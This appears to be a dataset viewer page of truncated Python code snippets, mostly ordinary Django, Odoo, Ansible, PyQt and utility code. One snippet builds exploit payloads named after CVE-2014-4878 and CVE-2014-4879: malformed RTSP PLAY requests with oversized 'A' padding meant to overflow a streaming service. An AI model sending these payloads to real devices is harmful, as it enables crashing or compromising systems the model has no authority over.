code stringlengths 1 199k |
|---|
class Population(object):
def __init__(self, communities):
self.communities = list(communities) |
'''
setup board.h for chibios
'''
import argparse, sys, fnmatch, os, dma_resolver, shlex, pickle
import shutil
parser = argparse.ArgumentParser("chibios_pins.py")
parser.add_argument(
'-D', '--outdir', type=str, default=None, help='Output directory')
parser.add_argument(
'hwdef', type=str, default=None, help='h... |
import xml.sax
from django.core.management.base import BaseCommand, CommandError
from django.db import transaction
from explore.models import Topic, Article, TopicWeights
from sys import stderr, exit
class Command(BaseCommand) :
args = '<topic mapping file>'
help = 'loads document to topic mapping file into DB'... |
import unittest
from utils import matparser, data_compiler, model_tools
class TestDataCompiler(unittest.TestCase):
pass
class TestMatlabParser(unittest.TestCase):
pass
class TestModelTools(unittest.TestCase):
def setUp(self):
self.legit_csv = 'tests/test_data/legit.csv'
def test_convergence(self... |
from construct import *
from .ax25 import Header
from ..adapters import LinearAdapter
from ..adapters import AffineAdapter
import math
Address = Enum(BytesInteger(1),
OBC=1,
EPS=2,
ADB=3,
COMMS=4,
ADCS=5,
GROUND=8,
... |
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('tickets', '0010_auto_20210812_1618'),
]
operations = [
migrations.RemoveField(
model_name='approvalrule',
name='assignees_display',
),
] |
__author__ = "Raul Perula-Martinez"
__email__ = "raul.perula@uc3m.es"
__date__ = "2014-11"
__license__ = "GPL v3"
__version__ = "1.0.0"
"""
Arquitectura de referencia en commonKads.
Modelo de la Aplicacion.
Este modulo sustituye los caracteres no ASCII de los textos para que
puedan ser procesados por el programa.
"""
_... |
import sys
import os
sys.path.insert(0, os.path.abspath('.'))
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.coverage',
'sphinx.ext.viewcode',
]
templates_path = ['_templates']
source_suffix = '.rst'
master_doc = 'index'
project = u'swiftsc'
copyright = u'2013-2017, Kouhei Maeda <mkouhei@palmtb.net>'
vers... |
"""
Django settings for familytree project.
Generated by 'django-admin startproject' using Django 1.10.3.
For more information on this file, see
https://docs.djangoproject.com/en/1.10/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.10/ref/settings/
"""
import os
... |
def flip(A):
ln = len(A)
count, maxCount, maxStart = 0, 0, 0
start, end = 0, 0
for idx in xrange(ln): # looping over all elements
if A[idx] == "0": # if I encounter zero, I increment count.
count += 1
# if number of 0s which are seen till now are greater,
# ... |
from mock import MagicMock
from ansible.modules.storage.netapp.netapp_e_iscsi_target import IscsiTarget
from units.modules.utils import AnsibleExitJson, AnsibleFailJson, ModuleTestCase, set_module_args
__metaclass__ = type
import mock
from units.compat.mock import PropertyMock
class IscsiTargetTest(ModuleTestCase):
... |
from setuptools import setup, find_packages
from os import path
from codecs import open
import pip
current_path = path.abspath(path.dirname(__file__))
try:
import numpy
except ImportError:
pip.main(['install','numpy'])
try:
import pypandoc
long_description = pypandoc.convert('README.md', 'rst')
except(IOError... |
from __future__ import with_statement
import datetime
from kallithea.tests.vcs.base import BackendTestMixin
from kallithea.tests.vcs.conf import SCM_TESTS
from kallithea.lib.vcs.nodes import FileNode
from kallithea.lib.vcs.utils.compat import unittest
class GetitemTestCaseMixin(BackendTestMixin):
@classmethod
d... |
import unittest
from spcxbutcher import perchannelfilter
class FakeEvent:
def __init__( self, channel, timestamp ):
self.channel = channel
self.timestamp = timestamp
class DropSpecificTimestamp:
def __init__( self, toDrop ):
self.toDrop = toDrop
self.calledWith = []
def __cal... |
"""
Fer is the french word for kinfe of spindle moulder
Syntax:
knife = Fer(label, height, (x0, y0), [(x, y) | (a, x, y)], ...)
label is a string, "F096" for example
height : integer, the height of knife
(x0, y0) : start point
(x, y) : do a line from current point to (x, y)
(a, x, y) make an arc frome the... |
import kivy
kivy.require('1.5.0')
from kivy.app import App
class EmulatorApp(App):
pass
if __name__ == '__main__':
EmulatorApp().run() |
import sys
import socket
from time import sleep
def cve20144878(host):
payload = 'PLAY rtsp://%s/ RTSP/1.0\r\n' % host
payload += 'CSeq: 7\r\n'
payload += 'Authorization: Basic AAAAAAA\r\n'
payload += 'Content-length: 3200\r\n\r\n'
payload += 'A' * 3200
return payload
def cve20144879(host):
payload = 'PLAY rtsp:... |
from project.settings import *
DEBUG=True
TEMPLATE_DEBUG=DEBUG |
import math
a = float(input('输入一个数字:'))
print(math.log(a)) # 也可以用 math.log10(a) / math.log10(math.e) |
import time
import subprocess
import RPi.GPIO as GPIO # Import GPIO library
def boinc_is_working():
# Show the tasks being or waiting to be calculated : boinccmd --get_tasks | grep 'state: downloaded'
process = subprocess.Popen("/usr/bin/boinccmd --get_tasks | /usr/bin/grep 'state: downloaded'",
... |
import shapefile
sf = shapefile.Reader("C:/Users/yandarizky/pip/yanda.shp")
print sf
shapes = sf.shapes()
print len(shapes) |
print((lambda s, k: 'Yes' if ''.join(sorted(s))[len(s)-k:k] == s[len(s)-k:k] else 'No')(*(lambda a,b: (a,int(b)))(*input().split()))) |
"""Test class for Medium UI
@Requirement: Medium
@CaseAutomation: Automated
@CaseLevel: Acceptance
@CaseComponent: UI
@TestType: Functional
@CaseImportance: High
@Upstream: No
"""
from fauxfactory import gen_string
from robottelo.constants import INSTALL_MEDIUM_URL
from robottelo.datafactory import valid_data_list
from... |
import importlib
from celery import states as celery_states
from django.db import transaction
from tenacity import retry, stop_after_delay, wait_random_exponential
from ESSArch_Core.WorkflowEngine.models import ProcessStep, ProcessTask
def get_result(step, reference):
tasks = ProcessTask.objects.values_list('refere... |
import math
import numpy as np
import visual.matrix_operations as mop
import visual.operations as op
class GLCamera():
""" Class doc
"""
def __init__ (self):
""" Class initialiser
"""
self.max_vertical_angle = 85.0 # must be less than 90 to avoid gimbal lock
self.position = ... |
import sys
import argparse
import pdb
import bz2
class extract:
def __init__(self):
parser = argparse.ArgumentParser()
# parser.add_argument('-f', '--folds_dir', help="folds directory (e.g. folds/gold")
requiredNamed = parser.add_argument_group('required named arguments')
requiredNam... |
import sys
from bson.objectid import ObjectId
from datetime import datetime, date, timedelta
from pymongo import MongoClient
import logging
from jinny_spends_cfg import *
client = MongoClient(MONGO_HOST, MONGO_PORT)
db = client.Expense
consume = db.consume
def load_3D_expense():
logging.info("Entered spending_data.... |
import os
import subprocess
import unittest
import uuid
from testtools.matchers import Contains, FileExists
import integration_tests
class StatusTestCase(integration_tests.StoreTestCase):
def test_status_without_login(self):
error = self.assertRaises(
subprocess.CalledProcessError,
s... |
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('web', '0008_auto_20210216_0725'),
]
operations = [
migrations.AddField(
model_name='team',
name='place',
field=models.IntegerField(default=0),
),
... |
from django.shortcuts import render
from django.http import HttpResponse, HttpResponseRedirect
from django.core.exceptions import ValidationError
from django.core.urlresolvers import reverse
from lists.models import Item, List
from lists.forms import ItemForm, ExistingListItemForm
def home_page(request):
return ren... |
from constants import constants
from fortuneengine.GameEngineElement import GameEngineElement
from constants import format_money
from constants import CURRENCY
import gettext
from pygame import Surface, transform, image
from pygame.locals import KEYDOWN, K_RETURN, K_BACKSPACE, K_TAB, \
K_DOWN, K_UP, K_LEFT, K_RIGHT... |
from flask import render_template
from manage import db
from forms import ShowSignUp
@ideabox_app.route('/')
def view_homepage():
return render_template('index.html') |
from pyshorteners.shorteners import Shortener
from wheel.utils.settings import get_setting_value
class ShorterURL(object):
__shortener = None
@property
def shortener(self):
if not self.__shortener:
shortener_config = get_setting_value("SHORTENER_SETTINGS", {}).copy()
shortene... |
'''Exception classes for pyfactory'''
class FactoryConfigurationFailure(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
return repr(self.value)
class CondorStatusFailure(Exception):
def __init__(self, value):
self.value = value
def __str__(self):
... |
from contextlib import contextmanager
import pygame
from pygame import Surface, display
from components import Component, LoadableComponent
class Screen(LoadableComponent):
"""
Creates a display surface for rendering and provides methods for blitting
images and text onto that surface. Also contains a Camera... |
from django.core.urlresolvers import reverse
from rest_framework import serializers
from django.contrib.auth.models import User
from models import *
class LineItemSerializer(serializers.ModelSerializer):
class Meta:
model = LineItem
field = ('product', 'unit_price', 'quantity', 'order')
def upda... |
"""Test for tools."""
import unittest
from dipplanner.main import activate_debug_for_tests
from dipplanner.tools import seconds_to_mmss
from dipplanner.tools import seconds_to_hhmmss
from dipplanner.tools import altitude_to_pressure
from dipplanner.tools import depth_to_pressure
from dipplanner.tools import altitude_or... |
'''
Copyright 2016 Joerg Ullrich <joerg.ullrich@gmx.de>
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to i... |
"""A simple MNIST classifier which displays summaries in TensorBoard.
This is an unimpressive MNIST model, but it is a good example of using
tf.name_scope to make a graph legible in the TensorBoard graph explorer, and of
naming summary tags so that they are grouped meaningfully in TensorBoard.
It demonstrates the funct... |
JSON_SCHEMA = "http://json-schema.org/draft-04/schema" |
import numpy as np
import scipy.sparse as sp
from scipy.optimize import fmin_l_bfgs_b
from Orange.classification import Learner, Model
__all__ = ["MLPLearner"]
def sigmoid(x):
return 1.0 / (1.0 + np.exp(-x))
class MLPLearner(Learner):
def __init__(self, layers, lambda_=1.0, dropout=None, preprocessors=None,
... |
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_Dialog(object):
def setupUi(self, Dialog):
Dialog.setObjectName("Dialog")
Dialog.resize(1160, 611)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("pypordb/8027068_splash.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off)
Dialog.... |
import peewee
db = None
base_model = None
def set_db(_db_):
global db
db = _db_
def get_base_model():
global base_model
if base_model:
return base_model
class BaseModel(peewee.Model):
class Meta:
database = db
base_model = BaseModel
return base_model |
print "merhaba dünya" |
import random
def choose(do_change):
# goat is hidden at one of the three doors
goat_hide = random.randint(1,3)
# print "goat at door ", goat_hide
# player chooses
player_chose_1 = random.randint(1,3)
# print "player chose ", player_chose_1
# quiz master chooses one of the to doors with not... |
'''
Created on Sep 18, 2016
@author: Teemu Ahola [teemuahola7@gmail.com]
Tests are done in real elfCLOUD server so they expect to have
valid username and password. Username and password are got via import
and are expected to be given via environment variables UT_USERNAME
and UT_PASSWORD. See __init__.py.
Also in the se... |
class LevelInfo(object):
lvl = 1
xpRequired = 1
def __init__(self, lvl, xpRequired):
self.lvl = lvl
self.xpRequired = xpRequired
lvl1 = LevelInfo(1, 2000)
lvl2 = LevelInfo(2, 5000)
lvl3 = LevelInfo(3, 9000)
lvl4 = LevelInfo(4, 15000)
lvl5 = LevelInfo(5, 23000)
lvl6 = LevelInfo(6, 35000)
lvl7... |
import numpy as _np
from pyhrf.boldsynth.spatialconfig import *
from pyhrf.boldsynth.pottsfield import pottsfield_c
from pyhrf.boldsynth.pottsfield.swendsenwang import *
def genPepperSaltField(size, nbLabels, initProps=None):
if initProps is None:
# equirepartition:
initProps = [1./nbLabels] * nbLab... |
"""
Kipartman
Kipartman api specifications
OpenAPI spec version: 1.0.0
Contact: --
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
from pprint import pformat
from six import iteritems
import re
class VersionedFile(object):
"""
NOTE: This class is auto generated by the sw... |
"""
Google Cloud Engine Dynamic Inventory
=====================================
Before using:
- Authentication: this script uses the same authentication as gcloud command
line. So, set it up before according to:
https://cloud.google.com/ml-engine/docs/quickstarts/command-line
- Dependencies: it depends on goo... |
"""
A minimal front end to the Docutils Publisher, producing Lua/XeLaTeX code.
"""
try:
import locale
locale.setlocale(locale.LC_ALL, '')
except:
pass
from docutils.core import publish_cmdline
description = ('Generates LaTeX documents from standalone reStructuredText '
'sources for compilatio... |
'value wrappers for nulls and errors'
from copy import copy
import functools
from visidata import options, stacktrace, BaseSheet, vd
__all__ = ['forward', 'wrmap', 'wrapply', 'TypedWrapper', 'TypedExceptionWrapper']
vd.option('null_value', None, 'a value to be counted as null', replay=True)
@BaseSheet.api
def isNullFun... |
import logging
import time
from abc import (ABCMeta,
abstractmethod)
from collections import namedtuple
from difflib import SequenceMatcher
from django.conf import settings
from django.db.models import Q
from elasticsearch_dsl.query import Match as ESMatch
from treeherder.autoclassify.autoclassify impo... |
"""
Project-independent library for Taskcluster decision tasks
"""
import base64
import datetime
import hashlib
import json
import os
import re
import subprocess
import sys
import taskcluster
__all__ = [
"CONFIG", "SHARED", "Task", "DockerWorkerTask",
"GenericWorkerTask", "WindowsGenericWorkerTask",
]
class Con... |
from django.core.management.base import BaseCommand, CommandError
from shortener.models import ShortenURL
class Command(BaseCommand):
help = 'Get the number of the objects in the database'
def handle(self, *args):
return ShortenURL.objects.count() |
import json
import mime_types
import jinja2
from tower import ugettext as _
from django.conf import settings
from django.core.exceptions import PermissionDenied
from django.http import (Http404,
HttpResponse,
HttpResponsePermanentRedirect,
HttpR... |
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('about', '0011_auto_20160331_1015'),
]
operations = [
migrations.AlterModelOptions(
name='aboutcontactpage',
options={'verbose_nam... |
"""
stats.py: Simple statistics for PyLink IRC Services.
"""
import datetime
import time
from pylinkirc import conf, utils, world
from pylinkirc.coremods import permissions
from pylinkirc.log import log
def timediff(before, now):
"""
Returns the time difference between "before" and "now" as a formatted string.
... |
import operator
from upstudy.data import LABELS, NAMESPACES, TYPES
IGNORED_INTERESTS = set(["__news_counter", "__news_home_counter"])
class Ranker(object):
def __init__(self, uuid):
self.uuid = uuid
self.data = None
self.ranker_type = None
self.load_tree()
def load_tree(self):
... |
from decimal import *
from prettytable import PrettyTable
import ConfigParser
import sys
import sched, time
__author__ = 'Amer Almadani'
__email__ = 'mail@sysbase.org'
timer = sched.scheduler(time.time, time.sleep)
def MyStock():
my_stocks = GetConfig('code')[0]
stock_code = GetConfig('code')[1]
stock_price... |
from .param_parser import ParamParser, SimpleParamParser
from .stop_param_parser import StopParamParser
from ott.utils import geo_utils
NAME_IDS = ['name', 'desc']
NUM_IDS = ['num', 'count', 'limit']
LON_IDS = ['x', 'lon']
LAT_IDS = ['y', 'lat']
ZOOM_IDS = ['z', 'zoom']
WIDTH_IDS = ['w', 'width']
HEIGHT_IDS = ['h', 'h... |
from . import res_partner
from . import website |
from south.utils import datetime_utils as datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Removing unique constraint on 'AggregationExpectedData', fields ['slug']
db.delete_unique('aggrega... |
{
'name': 'edi_routes_edi_invoic_overview',
'summary': 'EDI Invoic Overview HTML mail',
'description': """
EDI Invoic Overview in HTML for Mailing
=======================================
This module allows you to select INVOIC D96A(out) outgoing documents in order to create an overview of what has been sent... |
import logging
from odoo import models
from .mt940 import MT940Parser as Parser
_logger = logging.getLogger(__name__)
class AccountBankStatementImport(models.TransientModel):
"""Add parsing of mt940 files to bank statement import."""
_inherit = "account.bank.statement.import"
def _parse_file(self, data_file... |
from Products.CMFCore.utils import getToolByName
from Products.CMFCore.WorkflowCore import WorkflowException
from bika.lims.browser import BrowserView
from bika.lims.permissions import EditResults
import json
import plone.protect
class barcode_entry(BrowserView):
"""Decide the best redirect URL for any barcode scan... |
from bika.lims.jsonapi import request as req
class APIError(Exception):
"""Exception Class for API Errors
"""
def __init__(self, status, message):
self.message = message
self.status = status
self.setStatus(status)
def setStatus(self, status):
request = req.getRequest()
... |
import re
import csv
import json
import datetime
from StringIO import StringIO
from flask import url_for, current_app
from flask.ext.login import login_user
from openspending.core import db
from openspending.model.dataset import Dataset
from openspending.tests.base import ControllerTestCase
from openspending.tests.help... |
from __future__ import unicode_literals
from django import forms
from django.contrib.auth import get_user_model
from django.db.models.loading import get_model
from django.db.transaction import atomic
from django.forms import BaseModelForm
from django.utils.translation import ugettext_lazy as _
from shoop.admin.form_par... |
from django.conf import settings
from django.contrib.contenttypes.models import ContentType
from django.core.exceptions import ObjectDoesNotExist
from django.core.management.base import BaseCommand
from django.db.models import Prefetch, F
from django.test.utils import override_settings
from taiga.timeline.models import... |
from odoo import fields, models
class AccountMoveLine(models.Model):
_inherit = "account.move.line"
consolidated_by_id = fields.Many2one(
"account.invoice.consolidated", string="Consolidated By", readonly=True
) |
LEARNING_UNIT_YEARS = 'learning_unit_years'
PERSON = 'person'
def get_responsible_and_learning_unit_yr_list(learning_units_found):
responsible_and_learning_unit_yr_list = []
for learning_unit_yr in learning_units_found:
if not learning_unit_yr.summary_status:
responsible_and_learning_unit_yr... |
import cherrypy
import os
import random
import math
from cherrypy.lib.static import serve_file
import man
import man2
_curdir = os.path.join(os.getcwd(), os.path.dirname(__file__))
if 'OPENSHIFT_REPO_DIR' in os.environ.keys():
# 表示程式在雲端執行
download_root_dir = os.environ['OPENSHIFT_DATA_DIR']
data_dir = os.en... |
from . import models
from . import report |
from __future__ import absolute_import
__author__ = "Gina Häußge <osd@foosel.net>"
__license__ = 'GNU Affero General Public License http://www.gnu.org/licenses/agpl.html'
__copyright__ = "Copyright (C) 2014 The OctoPrint Project - Released under terms of the AGPLv3 License"
import os
import copy
import re
import loggin... |
from django import template
from django.template.loader import render_to_string
register = template.Library()
@register.inclusion_tag('band/vcard.html')
def band_vcard(aBand):
"""
Generates a microformat vcard for a band
Usage::
{% band_vcard [object] %}
Examples::
{% band_vcard lymbago %... |
from openerp import models, fields, tools
class commission_report(models.Model):
_name = "commission.report"
_description = "Sale commission report"
_auto = False
product_id = fields.Many2one('product.product', 'Product')
agent_id = fields.Many2one('sale.agent', 'Agent')
qty = fields.Float('Quan... |
import cl_residence |
"""Implementations of various third-party authentication schemes.
All the classes in this file are class Mixins designed to be used with
web.py RequestHandler classes. The primary methods for each service are
authenticate_redirect(), authorize_redirect(), and get_authenticated_user().
The former should be called to red... |
import os.path
import sys
from intelmq.lib.bot import Bot
from intelmq.lib.message import Report
try:
import stomp
except ImportError:
stomp = None
class StompListener(stomp.listener.PrintingListener):
""" the stomp listener gets called asynchronously for
every STOMP message
"""
def __init__... |
from django.db.models import F
from django.db import transaction
from django.core.exceptions import PermissionDenied
from hera import models
from hera import settings
from hera import tools
import os
import subprocess
sizes = {
'k': 1000,
'M': 1000*1000,
'G': 1000*1000*1000,
}
def clone_or_create_disk(id, o... |
# -*- coding: utf-8 -*-
from openerp import pooler
from openerp.osv import fields, osv
from openerp.tools.translate import _
from pyapogeus.apogeus import Apogeus
from unicodedata import normalize
import re
from string import punctuation
from datetime import datetime
import time
class sale_mobile_object(osv.osv):
... |
from devstack import *
SSO_ENABLED = ENV_TOKENS.get('SSO_ENABLED', False)
SSO_TP_URL = ''
if SSO_ENABLED:
SSO_TP_URL = ENV_TOKENS.get('SSO_TP_URL', 'http://sso.local.se:8081')
SSO_API_URL = '%s/api-edx/' % SSO_TP_URL
SSO_API_TOKEN = ENV_TOKENS.get('SSO_API_TOKEN', '123456')
SOCIAL_AUTH_EXCLUDE_URL_PATTE... |
import superdesk
from .update_items import UpdateItemsCommand
from .sync_topics import SyncTopicsCommand
superdesk.command('ntb:update_items', UpdateItemsCommand())
superdesk.command('ntb:sync_topics', SyncTopicsCommand()) |
class MissingCertificateLogoError(Exception):
"""Raised when a Program fetched as part of a program certificate configuration
has an organization without a defined certificate logo image url
"""
class NoMatchingProgramException(Exception):
"""
Raised when a ProgramCertificate doesn't have a matching... |
import copy
import logging
from collections import OrderedDict
from django.core.exceptions import ObjectDoesNotExist
from django.db import transaction
from django.utils.translation import ugettext as _
from biz.djangoapps.gx_org_group.models import Group, Parent, Child
log = logging.getLogger(__name__)
class OrgTsv:
... |
{
'name' : 'Odoo Live Support',
'version': '1.0',
'summary': 'Chat with the Odoo collaborators',
'category': 'Tools',
'complexity': 'medium',
'website': 'https://www.odoo.com/',
'description':
"""
Odoo Live Support
=================
Ask your functionnal question directly to the Odoo ... |
from . import stock_improved |
import time
from typing import List, Type
from mediawords.job import JobBroker
from mediawords.util.log import create_logger
from .setup_broker_test import AbstractBrokerTestCase, Worker
log = create_logger(__name__)
class TestBrokerFatalError(AbstractBrokerTestCase):
@classmethod
def worker_paths(cls) -> List[... |
"""
Student Views
"""
import datetime
import logging
import uuid
import json
import warnings
from collections import defaultdict
from urlparse import urljoin, urlsplit, parse_qs, urlunsplit
from django.views.generic import TemplateView
from pytz import UTC
from requests import HTTPError
from ipware.ip import get_ip
imp... |
from django.forms import widgets
from django.utils.translation import ugettext as _
from taiga.base.api import serializers, ISO_8601
from taiga.base.api.settings import api_settings
import serpy
class JSONField(serializers.WritableField):
"""
Json objects serializer.
"""
widget = widgets.Textarea
de... |
from __future__ import unicode_literals
from django.contrib.gis.db import models
from django.db.models import deletion
from django.forms import ValidationError
from munigeo.models import Address as Location
from django.utils.translation import ugettext_lazy as _
from schools.utils import geocode_address
class KoreModel... |
import json, os, random, signal, sys, time
def server_setup():
global SMC, DATA, DAEMON_FILE, mode, INFO_FILE, info, project_id, base_url, ip
# start from home directory, since we want daemon to serve all files in that directory tree.
os.chdir(os.environ['HOME'])
SMC = os.environ['SMC']
os.environ["... |
from . import account_balance |
{
'name': 'Italian Localisation - Fiscal Code',
'version': '10.0.1.3.0',
'category': 'Localisation/Italy',
'author': "Odoo Italia Network, Odoo Community Association (OCA)",
'website': 'https://odoo-community.org/',
'license': 'AGPL-3',
'depends': [
'base_vat'
],
'external_de... |
from . import analytic_account_sequence
from . import account_analytic_account |
from celery.task import task
from .models import User
@task
def evaluate_all():
import django
django.setup()
users = User.objects.iterator()
for user in users:
if not user.is_deleted:
user.evaluate()
@task
def evaluate(id):
import django
django.setup()
user = User.objects... |
from PyQt4.QtCore import QUrl, Qt, QString, QObject, SIGNAL
from PyQt4.QtGui import QTextBrowser, QWidget, QIcon, QVBoxLayout, QLabel, QPushButton
class DocumentationBase(QTextBrowser):
def __init__(self, mainwindow, src):
QTextBrowser.__init__(self, mainwindow)
self.mainwindow = mainwindow
... |
"""
Serializers and ModelSerializers are similar to Forms and ModelForms.
Unlike forms, they are not constrained to dealing with HTML output, and
form encoded input.
Serialization in REST framework is a two-phase process:
1. Serializers marshal between complex types like model instances, and
python primitives.
2. The p... |
import subprocess
import urllib
import json
cdrecordpath = '/cygdrive/c/Program Files (x86)/cdrtools/cdrecord.exe'
x = subprocess.check_output([cdrecordpath, "dev=1,0,0", "-toc"])
lines = x.split('\n')
tracks = []
for l in lines:
if l.startswith('track'):
tracks.append(l[16:26].strip())
if tracks == []:
... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.